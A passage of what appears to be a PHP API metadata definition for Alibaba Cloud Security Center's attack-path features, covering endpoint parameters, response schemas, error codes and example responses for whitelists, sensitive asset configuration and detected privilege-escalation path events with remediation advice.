**ALL_ASSET**：全部资产'."\n" + .'- **PART_ASSET**：部分资产', + 'type' => 'string', + 'required' => true, + 'example' => 'ALL_ASSET', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '备注信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'WhitelistName', + 'in' => 'query', + 'schema' => [ + 'description' => '白名单名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'test', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', + ], + 'AttackPathWhitelist' => [ + 'description' => '攻击路径白名单。', + 'type' => 'object', + 'properties' => [ + 'AttackPathWhitelistId' => [ + 'description' => '攻击路径白名单ID。', + 'type' => 'string', + 'example' => 'apwl-b33dec0acf9b42aabde032d656c0****', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\",\\n \\"AttackPathWhitelist\\": {\\n \\"AttackPathWhitelistId\\": \\"apwl-b33dec0acf9b42aabde032d656c0****\\"\\n }\\n}","type":"json"}]', + 'title' => '创建攻击路径白名单', + ], + 'CreateAttackPathSensitiveAssetConfig' => [ + 'summary' => '创建攻击路径敏感资产配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '226505', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'AttackPathAssetList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '云产品资产列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'InstanceId' => [ + 'description' => '云产品资产实例ID。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产实例ID。', + 'type' => 'string', + 'required' => true, + 'example' => 'i-8vb0e8qdaj0yyxjo****', + ], + 'Vendor' => [ + 'description' => '云产品资产厂商。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产厂商。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '0', + ], + 'AssetType' => [ + 'description' => '云产品资产的类型。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产的类型。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '17', + ], + 'AssetSubType' => [ + 'description' => '云产品资产的子类型。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产的子类型。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '0', + ], + 'RegionId' => [ + 'description' => '云产品资产实例所属区域 ID。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产实例所属区域 ID。', + 'type' => 'string', + 'required' => true, + 'example' => 'cn-hangzhou', + ], + ], + 'required' => false, + ], + 'required' => true, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'ConfigType', + 'in' => 'query', + 'schema' => [ + 'description' => '配置类型。取值范围：'."\n" + .'- asset_instance：资产。', + 'type' => 'string', + 'required' => true, + 'example' => 'asset_instance', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'ADE57832-9666-511C-9A80-B87DE2E8****', + ], + 'AttackPathSensitiveAssetConfig' => [ + 'description' => '攻击路径敏感资产设置数据。', + 'type' => 'object', + 'properties' => [ + 'AttackPathSensitiveAssetConfigId' => [ + 'description' => '攻击路径敏感资产设置ID。', + 'type' => 'string', + 'example' => 'apsac-123', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DataExists', + 'errorMessage' => 'data exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ADE57832-9666-511C-9A80-B87DE2E8****\\",\\n \\"AttackPathSensitiveAssetConfig\\": {\\n \\"AttackPathSensitiveAssetConfigId\\": \\"apsac-123\\"\\n }\\n}","type":"json"}]', + 'title' => '创建攻击路径敏感资产设置', + ], + 'UpdateAttackPathSensitiveAssetConfig' => [ + 'summary' => '更新攻击路径敏感资产配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '237330', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + 'autoTest' => true, + 'tenantRelevance' => 'tenant', + ], + 'parameters' => [ + [ + 'name' => 'AttackPathAssetList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '攻击路径云产品资产列表。', + 'type' => 'array', + 'items' => [ + 'description' => '攻击路径云产品资产列表。', + 'type' => 'object', + 'properties' => [ + 'InstanceId' => [ + 'description' => '云产品资产实例ID。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产实例ID。', + 'type' => 'string', + 'required' => true, + 'example' => 'i-2ze357b4mrkwi7tq****', + ], + 'Vendor' => [ + 'description' => '云产品资产厂商。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产厂商。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '0', + ], + 'AssetType' => [ + 'description' => '云产品资产的类型。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产的类型。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '18', + ], + 'AssetSubType' => [ + 'description' => '云产品资产的子类型。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产的子类型。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '4', + ], + 'RegionId' => [ + 'description' => '云产品资产实例所属区域ID。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产实例所属区域ID。', + 'type' => 'string', + 'required' => true, + 'example' => 'cn-hangzhou', + ], + ], + 'required' => false, + ], + 'required' => true, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'AttackPathSensitiveAssetConfigId', + 'in' => 'query', + 'schema' => [ + 'description' => '攻击路径敏感资产设置ID。', + 'type' => 'string', + 'required' => true, + 'example' => 'apsac-123', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'FD394AF6-591E-5168-8C8C-4C784736****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DataExists', + 'errorMessage' => 'data exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FD394AF6-591E-5168-8C8C-4C784736****\\"\\n}","type":"json"}]', + 'title' => '更新攻击路径敏感资产设置', + ], + 'GetAttackPathSensitiveAssetConfig' => [ + 'summary' => '查询攻击路径敏感资产。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '226506', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ConfigType', + 'in' => 'query', + 'schema' => [ + 'description' => '配置类型。取值范围：'."\n" + .'- asset_instance：资产。', + 'type' => 'string', + 'required' => true, + 'example' => 'asset_instance', + ], + ], + [ + 'name' => 'AttackPathSensitiveAssetConfigId', + 'in' => 'query', + 'schema' => [ + 'description' => '创建攻击路径敏感资产设置ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'apsac-123', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3956048F-9D73-5EDB-834B-4827BB48****', + ], + 'AttackPathSensitiveAssetConfig' => [ + 'description' => '攻击路径敏感资产配置数据。', + 'type' => 'object', + 'properties' => [ + 'AttackPathAssetList' => [ + 'description' => '攻击路径云产品资产列表。', + 'type' => 'array', + 'items' => [ + 'description' => '攻击路径云产品资产。', + 'type' => 'object', + 'properties' => [ + 'AssetSubType' => [ + 'description' => '云产品资产的子类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AssetType' => [ + 'description' => '云产品资产的类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '17', + ], + 'InstanceId' => [ + 'description' => '云产品资产实例ID。', + 'type' => 'string', + 'example' => 'i-bp174zui735kvf3v****', + ], + 'InstanceName' => [ + 'description' => '云产品资产的实例名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'RegionId' => [ + 'description' => '云产品资产实例所属区域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'Vendor' => [ + 'description' => '云产品资产厂商。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + ], + ], + ], + 'AttackPathSensitiveAssetConfigId' => [ + 'description' => '攻击路径敏感资产设置ID。', + 'type' => 'string', + 'example' => 'apsac-123'."\n", + ], + 'ConfigType' => [ + 'description' => '配置类型。取值范围：'."\n" + .'- asset_instance：资产。', + 'type' => 'string', + 'example' => 'asset_instance', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DataNotExists', + 'errorMessage' => 'data not exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB48****\\",\\n \\"AttackPathSensitiveAssetConfig\\": {\\n \\"AttackPathAssetList\\": [\\n {\\n \\"AssetSubType\\": 0,\\n \\"AssetType\\": 17,\\n \\"InstanceId\\": \\"i-bp174zui735kvf3v****\\",\\n \\"InstanceName\\": \\"test\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Vendor\\": 4\\n }\\n ],\\n \\"AttackPathSensitiveAssetConfigId\\": \\"apsac-123\\\\n\\",\\n \\"ConfigType\\": \\"asset_instance\\"\\n }\\n}","type":"json"}]', + 'title' => '查询攻击路径敏感资产设置', + ], + 'ListAvailableAttackPath' => [ + 'summary' => '查询攻击路径列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '226487', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + 'autoTest' => true, + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1383B0DB-D5D6-4B0C-9E6B-75939C8E****', + ], + 'AttackPathList' => [ + 'description' => '攻击路径列表。', + 'type' => 'array', + 'items' => [ + 'description' => '攻击路径数据。', + 'type' => 'object', + 'properties' => [ + 'PathType' => [ + 'description' => '路径类型。', + 'type' => 'string', + 'example' => 'role_escalation', + ], + 'PathName' => [ + 'description' => '路径名称。', + 'type' => 'string', + 'example' => 'ecs_get_credential_by_create_login_profile', + ], + 'PathNameDesc' => [ + 'description' => '路径名称描述。', + 'type' => 'string', + 'example' => 'ECS Instance Can Obtain Long-term Access Credential by Enabling Console Logon for RAM User', + ], + 'PathTypeDesc' => [ + 'description' => '路径类型描述。', + 'type' => 'string', + 'example' => 'Privilege Escalation by Role', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1383B0DB-D5D6-4B0C-9E6B-75939C8E****\\",\\n \\"AttackPathList\\": [\\n {\\n \\"PathType\\": \\"role_escalation\\",\\n \\"PathName\\": \\"ecs_get_credential_by_create_login_profile\\",\\n \\"PathNameDesc\\": \\"ECS Instance Can Obtain Long-term Access Credential by Enabling Console Logon for RAM User\\",\\n \\"PathTypeDesc\\": \\"Privilege Escalation by Role\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询可用的攻击路径列表', + ], + 'GetAttackPathEventDetail' => [ + 'summary' => '查询攻击路径事件详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '226499', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'EventId', + 'in' => 'query', + 'schema' => [ + 'description' => '事件ID。'."\n" + .'> 您可以调用[ListAttackPathEvent](~~ListAttackPathEvent~~)查询事件ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '123', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + [ + 'name' => 'EventSource', + 'in' => 'query', + 'schema' => [ + 'title' => '数据来源。默认值为**default**。取值：'."\n" + .'- **caasm**：攻击面'."\n" + .'- **default**：攻击路径', + 'description' => '数据来源。默认值为**default**。取值：'."\n" + .'- **caasm**：攻击面'."\n" + .'- **default**：攻击路径', + 'type' => 'string', + 'required' => false, + 'example' => 'default', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', + ], + 'AttackPathEvent' => [ + 'description' => '攻击路径事件详情。', + 'type' => 'object', + 'properties' => [ + 'DstAsset' => [ + 'description' => '终点资产。', + 'type' => 'object', + 'properties' => [ + 'AssetSubType' => [ + 'description' => '云产品资产的子类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'AssetType' => [ + 'description' => '云产品资产的类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'InstanceId' => [ + 'description' => '云产品资产实例的ID。', + 'type' => 'string', + 'example' => 'i-bp18ifsr1tu1dx39****'."\n", + ], + 'InstanceName' => [ + 'description' => '实例名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'RegionId' => [ + 'description' => '云产品资产实例所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-shanghai', + ], + 'Vendor' => [ + 'description' => '云产品资产厂商。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'SensitiveAssetFlag' => [ + 'description' => '敏感资产标识。取值：'."\n" + .'- **0**：非敏感资产。'."\n" + .'- **1**：敏感资产。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + ], + ], + 'FirstTime' => [ + 'description' => '首次发生时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1735956726000', + ], + 'LastTime' => [ + 'description' => '最新发现时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1741832168000', + ], + 'PathEventEdgeList' => [ + 'description' => '路径事件边列表。', + 'type' => 'array', + 'items' => [ + 'description' => '路径事件边。', + 'type' => 'object', + 'properties' => [ + 'EdgeId' => [ + 'description' => '边ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '123', + ], + 'EdgeType' => [ + 'description' => '边类型。', + 'type' => 'string', + 'example' => 'role_trust_user', + ], + 'ElementType' => [ + 'description' => '边元素类型。', + 'type' => 'string', + 'example' => 'branch', + ], + 'EndNodeUuid' => [ + 'description' => '边终点节点UUID。', + 'type' => 'string', + 'example' => '52d59cca9d1768bab5fe081317637990', + ], + 'RepairSuggestionDisplay' => [ + 'description' => '修复建议描述。', + 'type' => 'string', + 'example' => 'The RAM role is granted the administrator permissions and trusts the user of another Alibaba Cloud account. In this case, the current Alibaba Cloud account may be fully controlled by the trusted Alibaba Cloud account. We recommend that you delete the trust relationship. If you need to trust another Alibaba Cloud account, we recommend that you split your business requirements and follow the principle of least privilege to grant permissions across accounts in a fine-grained manner. You can also use RAM.\\n\\nIf you confirm that the role does not need to trust an Alibaba Cloud account, perform the following operations: In the RAM console, click the required RAM role. On the page that appears, view the trust policy of the role. Then, edit the Service field to delete the trust relationship. If you confirm that permissions can be reduced, perform the following operations: In the RAM console, click the required RAM role. On the page that appears, view the permissions of the role. Then, find the policy that defines the administrator permissions and revoke the policy. Attach another policy to the role based on your business requirements.', + ], + 'StartNodeUuid' => [ + 'description' => '边起点节点UUID。', + 'type' => 'string', + 'example' => 'b7e1bd42c4ca47f69020f4a27b47d2b4', + ], + ], + ], + ], + 'PathEventNodeList' => [ + 'description' => '路径节点列表。', + 'type' => 'array', + 'items' => [ + 'description' => '路径节点。', + 'type' => 'object', + 'properties' => [ + 'ElementType' => [ + 'description' => '节点元素类型。', + 'type' => 'string', + 'example' => 'branch', + ], + 'NodeDetail' => [ + 'description' => '节点详情。', + 'type' => 'string', + 'example' => '{"assetId":0}', + ], + 'NodeName' => [ + 'description' => '节点名称。', + 'type' => 'string', + 'example' => 'hypermatch_uploader', + ], + 'NodeType' => [ + 'description' => '节点类型。', + 'type' => 'string', + 'example' => 'user', + ], + 'NodeUuid' => [ + 'description' => '节点UUID。', + 'type' => 'string', + 'example' => '52d59cca9d1768bab5fe081317637990', + ], + 'SensitiveAssetFlag' => [ + 'description' => '敏感资产标识。取值：'."\n" + .'- **0**：非敏感资产。'."\n" + .'- **1**：敏感资产。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AiAssetFlag' => [ + 'title' => 'AI资产标识。取值：'."\n" + .'- **0**：非AI资产。'."\n" + .'- **1**：AI资产。', + 'description' => 'AI资产标识。取值：'."\n" + .'- **0**：非AI资产。'."\n" + .'- **1**：AI资产。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + 'PathName' => [ + 'description' => '路径名称。', + 'type' => 'string', + 'example' => 'ecs_get_credential_by_create_login_profile', + ], + 'PathNameDesc' => [ + 'description' => '路径名称描述。', + 'type' => 'string', + 'example' => 'ECS Instance Can Obtain Long-term Access Credential by Enabling Console Logon for RAM User', + ], + 'PathType' => [ + 'description' => '路径类型。', + 'type' => 'string', + 'example' => 'role_escalation', + ], + 'RiskLevel' => [ + 'description' => '风险等级。', + 'type' => 'string', + 'example' => 'suspicious', + ], + 'SrcAsset' => [ + 'description' => '起点资产。', + 'type' => 'object', + 'properties' => [ + 'AssetSubType' => [ + 'description' => '云产品资产的子类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + 'AssetType' => [ + 'description' => '云产品资产的类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '14', + ], + 'InstanceId' => [ + 'description' => '云产品资产实例的ID。', + 'type' => 'string', + 'example' => 'i-25b24****', + ], + 'InstanceName' => [ + 'description' => '实例名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'RegionId' => [ + 'description' => '云产品资产实例所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'Vendor' => [ + 'description' => '云产品资产厂商。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'SensitiveAssetFlag' => [ + 'description' => '敏感资产标识。取值：'."\n" + .'- **0**：非敏感资产。'."\n" + .'- **1**：敏感资产。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + ], + ], + 'PathTypeDesc' => [ + 'description' => '路径类型描述。', + 'type' => 'string', + 'example' => 'Privilege Escalation by Role', + ], + 'PathDetailDesc' => [ + 'description' => '路径详情描述。', + 'type' => 'string', + 'example' => 'The system detects that the role that trusts another Alibaba Cloud account has administrator permissions. This can cause the system to be fully controlled. We recommend that you delete the trust relationship and review the permissions of the role.'."\n", + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\",\\n \\"AttackPathEvent\\": {\\n \\"DstAsset\\": {\\n \\"AssetSubType\\": 2,\\n \\"AssetType\\": 3,\\n \\"InstanceId\\": \\"i-bp18ifsr1tu1dx39****\\\\n\\",\\n \\"InstanceName\\": \\"test\\",\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"Vendor\\": 0,\\n \\"SensitiveAssetFlag\\": 0\\n },\\n \\"FirstTime\\": 1735956726000,\\n \\"LastTime\\": 1741832168000,\\n \\"PathEventEdgeList\\": [\\n {\\n \\"EdgeId\\": 123,\\n \\"EdgeType\\": \\"role_trust_user\\",\\n \\"ElementType\\": \\"branch\\",\\n \\"EndNodeUuid\\": \\"52d59cca9d1768bab5fe081317637990\\",\\n \\"RepairSuggestionDisplay\\": \\"The RAM role is granted the administrator permissions and trusts the user of another Alibaba Cloud account. In this case, the current Alibaba Cloud account may be fully controlled by the trusted Alibaba Cloud account. We recommend that you delete the trust relationship. If you need to trust another Alibaba Cloud account, we recommend that you split your business requirements and follow the principle of least privilege to grant permissions across accounts in a fine-grained manner. You can also use RAM.\\\\\\\\n\\\\\\\\nIf you confirm that the role does not need to trust an Alibaba Cloud account, perform the following operations: In the RAM console, click the required RAM role. On the page that appears, view the trust policy of the role. Then, edit the Service field to delete the trust relationship. If you confirm that permissions can be reduced, perform the following operations: In the RAM console, click the required RAM role. On the page that appears, view the permissions of the role. Then, find the policy that defines the administrator permissions and revoke the policy. Attach another policy to the role based on your business requirements.\\",\\n \\"StartNodeUuid\\": \\"b7e1bd42c4ca47f69020f4a27b47d2b4\\"\\n }\\n ],\\n \\"PathEventNodeList\\": [\\n {\\n \\"ElementType\\": \\"branch\\",\\n \\"NodeDetail\\": \\"{\\\\\\"assetId\\\\\\":0}\\",\\n \\"NodeName\\": \\"hypermatch_uploader\\",\\n \\"NodeType\\": \\"user\\",\\n \\"NodeUuid\\": \\"52d59cca9d1768bab5fe081317637990\\",\\n \\"SensitiveAssetFlag\\": 0,\\n \\"AiAssetFlag\\": 1\\n }\\n ],\\n \\"PathName\\": \\"ecs_get_credential_by_create_login_profile\\",\\n \\"PathNameDesc\\": \\"ECS Instance Can Obtain Long-term Access Credential by Enabling Console Logon for RAM User\\",\\n \\"PathType\\": \\"role_escalation\\",\\n \\"RiskLevel\\": \\"suspicious\\",\\n \\"SrcAsset\\": {\\n \\"AssetSubType\\": 4,\\n \\"AssetType\\": 14,\\n \\"InstanceId\\": \\"i-25b24****\\",\\n \\"InstanceName\\": \\"test\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Vendor\\": 0,\\n \\"SensitiveAssetFlag\\": 0\\n },\\n \\"PathTypeDesc\\": \\"Privilege Escalation by Role\\",\\n \\"PathDetailDesc\\": \\"The system detects that the role that trusts another Alibaba Cloud account has administrator permissions. This can cause the system to be fully controlled. We recommend that you delete the trust relationship and review the permissions of the role.\\\\n\\"\\n }\\n}","type":"json"}]', + 'title' => '查询攻击路径事件详情', + ], + 'ListAttackPathEvent' => [ + 'summary' => '查询攻击路径事件列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '226489', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'RiskLevelList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '风险等级信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级列表。取值：'."\n" + ."\n" + .'- **remind**：表示提醒等级。'."\n" + .'- **suspicious**：表示可疑等级。'."\n" + .'- **serious**：表示紧急等级。', + 'type' => 'string', + 'required' => false, + 'example' => 'remind', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'PathNameDesc', + 'in' => 'query', + 'schema' => [ + 'description' => '路径名称描述。'."\n" + .'> 您可以调用[ListAvailableAttackPath](~~ListAvailableAttackPath~~)查询路径名称描述。', + 'type' => 'string', + 'required' => false, + 'example' => 'ECS Instance Can Obtain Long-term Access Credential by Enabling Console Logon for RAM User', + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '开始时间的时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1666886400000', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '结束时间的时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1668064495000', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为1，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的数据的最大条数。默认值为**20**。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'maximum' => '200', + 'example' => '20', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + [ + 'name' => 'AttackPathAssetList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '攻击路径云产品资产列表。', + 'type' => 'array', + 'items' => [ + 'description' => '攻击路径云产品资产列表。', + 'type' => 'object', + 'properties' => [ + 'Vendor' => [ + 'description' => '云产品资产的厂商。'."\n" + .'> 您可以调用[ListSupportAttackPathAsset](~~ListSupportAttackPathAsset~~)查询云产品资产的厂商。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + 'AssetType' => [ + 'description' => '云产品资产的类型。'."\n" + ."\n" + .'> 